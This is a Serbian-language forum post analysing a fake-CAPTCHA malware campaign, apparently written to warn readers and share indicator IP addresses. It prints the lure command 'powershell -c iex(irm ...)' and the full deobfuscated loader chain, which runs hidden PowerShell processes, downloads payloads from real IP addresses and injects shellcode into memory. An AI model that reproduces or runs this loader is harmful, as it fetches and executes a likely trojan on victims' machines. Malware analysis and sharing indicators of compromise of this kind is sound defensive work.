[milos_rs]

Kako neki dobri ljudi na ovoj reddit objavi dodaju...

JS loader koji dalje preuzima prvi payload koji pokreće novi skriven proces da bi skinuo sledeći payload. Na kraju lanca je shellcode koji se učitava u ram memoriju direktno, najverovatnije trojan.

komanda koja se pokreće ako se prate uputstva lažne captcha stranice:

Code:

powershell -c iex(irm 158.94.208.86 -UseBasicParsing)

tok multi-stage payloada posle pokretanja komande :

Code:

################# irm 158.94.208.86 -UseBasicParsing | Out-File C:\payload.txt ################ payload.txt ################ try {     $gqYZXDiBGhTfKwphTi = @' try {     $checkResult = Invoke-WebRequest -Uri "http://158.94.208.92" -UseBasicParsing     Invoke-Expression $checkResult.Content } catch { } '@     $mKCDbxSKbDmjETIX = New-Object System.Diagnostics.ProcessStartInfo     $mKCDbxSKbDmjETIX.FileName = "powershell.exe"     $mKCDbxSKbDmjETIX.Arguments = "-Command " + [char]34 + $gqYZXDiBGhTfKwphTi + [char]34     $mKCDbxSKbDmjETIX.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden     $mKCDbxSKbDmjETIX.CreateNoWindow = $true     $mKCDbxSKbDmjETIX.UseShellExecute = $false     $eOAlFVnc = New-Object System.Diagnostics.Process     $eOAlFVnc.StartInfo = $mKCDbxSKbDmjETIX     $eOAlFVnc.Start() | Out-Null } catch { } ################# irm http://158.94.208.92 -UseBasicParsing | Out-File C:\payload2.txt ################ payload2.txt ################ $roTrgIDa = "http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin" try {     $DAcSzuxqmlnU = Invoke-WebRequest -Uri $roTrgIDa -UseBasicParsing -ErrorAction Stop     $ANRnawIsSKfqrkM = $DAcSzuxqmlnU.Content     $GgwYqLZlUIchW = $ANRnawIsSKfqrkM.Length     $DPbwlXV = @" using System; using System.Runtime.InteropServices; public class GmsrHdgXkp {     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr GetCurrentProcess();     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);     [DllImport("kernel32.dll", SetLastError=true)]     public static extern uint WaitForSingleObject(IntPtr h, uint ms); } "@     Add-Type -TypeDefinition $DPbwlXV     $nBAhESSXiJFkeijbP = 0x1000     $speQGmUrD = 0x2000     $grQJiBxOuaAxXtOqp = 0x40     $rhoRaVojBEIL = [GmsrHdgXkp]::VirtualAlloc([IntPtr]::Zero, $GgwYqLZlUIchW, $nBAhESSXiJFkeijbP -bor $speQGmUrD, $grQJiBxOuaAxXtOqp)     if ($rhoRaVojBEIL -eq [IntPtr]::Zero) { throw "Alloc failed" }     [System.Runtime.InteropServices.Marshal]::Copy($ANRnawIsSKfqrkM, 0, $rhoRaVojBEIL, $GgwYqLZlUIchW)     $rlGgKqWEPvKUY = 0     $exBMrhRNi = [GmsrHdgXkp]::CreateThread([IntPtr]::Zero, 0, $rhoRaVojBEIL, [IntPtr]::Zero, 0, [ref]$rlGgKqWEPvKUY)     if ($exBMrhRNi -eq [IntPtr]::Zero) { throw "Thread failed" }     [GmsrHdgXkp]::WaitForSingleObject($exBMrhRNi, 30000) | Out-Null     Write-Host "done." } catch {     exit 1 }

malver je https://www.virustotal.com/gui/file/c929...4a7ccf1a1/

   

IOC IP adrese:

Code:

158.94.208.86 158.94.208.92 158.94.208.104